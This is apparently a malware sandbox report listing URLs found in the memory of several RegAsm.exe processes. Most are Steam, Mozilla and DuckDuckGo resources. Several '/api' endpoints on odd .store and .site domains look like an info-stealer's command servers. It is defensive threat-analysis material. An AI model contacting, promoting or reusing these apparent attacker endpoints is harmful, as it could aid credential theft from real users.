Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2366798957.0000000001098000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.0000000000506000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.00000000004E8000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000050E000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.00000000004F6000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.0000000000528000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.0000000000516000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.00000000004FE000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.00000000004EF000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000051F000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.0000000000506000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.00000000004FE000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.00000000004F6000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.0000000000516000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000050E000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=8vRVyaZK
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2366798957.0000000001098000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.0000000000506000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.00000000004E8000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000050E000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.00000000004F6000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.0000000000528000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.0000000000516000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.00000000004FE000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.00000000004EF000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000051F000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.0000000000506000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.00000000004FE000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.00000000004F6000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.0000000000516000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000050E000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=w4s3
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000046C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000046C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2366798957.00000000010A5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=f2hMA1v9Zkc8&l=engl
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2366798957.00000000010A5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2366798957.00000000010A5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/profile.js?v=f3vWO7swdDqp&l=english
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2366798957.00000000010A5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2366798957.00000000010A5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000046C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2366798957.00000000010A5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000046C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2366798957.00000000010A5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=pvBDaFhF2LLJ&l=e
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2366798957.00000000010A5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english
Source: 76561199780418869[1].htm.27.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2366798957.00000000010A5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2366798957.00000000010A5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000046C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1&amp
Source: RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000046C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2366798957.00000000010A5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000046C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2782993650.00000000277AF000.00000004.00000020.00020000.00000000.sdmp, DGCAAFBFBKFIDGDHJDBK.15.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2782993650.00000000277AF000.00000004.00000020.00020000.00000000.sdmp, DGCAAFBFBKFIDGDHJDBK.15.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, AFCAAE.2.dr, EGIDAAFI.15.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, AFCAAE.2.dr, EGIDAAFI.15.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, AFCAAE.2.dr, EGIDAAFI.15.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: RegAsm.exe, 00000009.00000002.2366798957.000000000103F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2366798957.000000000104F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001C.00000002.2541358751.00000000012B1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001C.00000002.2542151523.0000000001333000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001C.00000002.2541565506.00000000012D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gravvitywio.store/
Source: RegAsm.exe, 00000009.00000002.2366798957.000000000103F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2366798957.000000000104F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001C.00000002.2541722970.00000000012FD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001C.00000002.2541565506.00000000012DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gravvitywio.store/api
Source: RegAsm.exe, 00000009.00000002.2366798957.000000000104F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gravvitywio.store/apiy
Source: RegAsm.exe, 00000009.00000002.2366798957.000000000104F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gravvitywio.store:443/api
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2340395451.0000000000E9B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://help.steampowered.com/en/
Source: DGCAAFBFBKFIDGDHJDBK.15.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: RegAsm.exe, 00000002.00000002.2367073275.00000000204D6000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2382470007.0000000032328000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2372826674.0000000026447000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2394990249.000000003E206000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.2.dr, softokn3[1].dll.15.dr, softokn3.dll.2.dr, mozglue.dll.2.dr, freebl3[1].dll.15.dr	String found in binary or memory: https://mozilla.org0/
Source: RegAsm.exe, 00000009.00000002.2366798957.000000000104F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mysterisop.site:443/api1K
Source: RegAsm.exe, 00000009.00000002.2366798957.0000000001031000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001C.00000002.2541358751.00000000012C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://questionsmw.store/api
Source: RegAsm.exe, 00000009.00000002.2366798957.0000000001031000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://questionsmw.store/api2
Source: RegAsm.exe, 0000000C.00000002.2740659135.0000000000D90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: RegAsm.exe, 0000000C.00000002.2740659135.0000000000D90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://skeab.c
Source: RegAsm.exe, 0000001C.00000002.2542151523.0000000001333000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://snarlypagowo.site/
Source: RegAsm.exe, 00000009.00000002.2366798957.000000000104F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://snarlypagowo.site/apie
Source: RegAsm.exe, 0000001C.00000002.2541722970.00000000012FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://snarlypagowo.site/apig)P
Source: 76561199780418869[1].htm.27.dr	String found in binary or memory: https://steamcommunity.com/
Source: RegAsm.exe, 0000000C.00000002.2740659135.0000000000D90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/%Z
Source: RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000E71000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/ByG
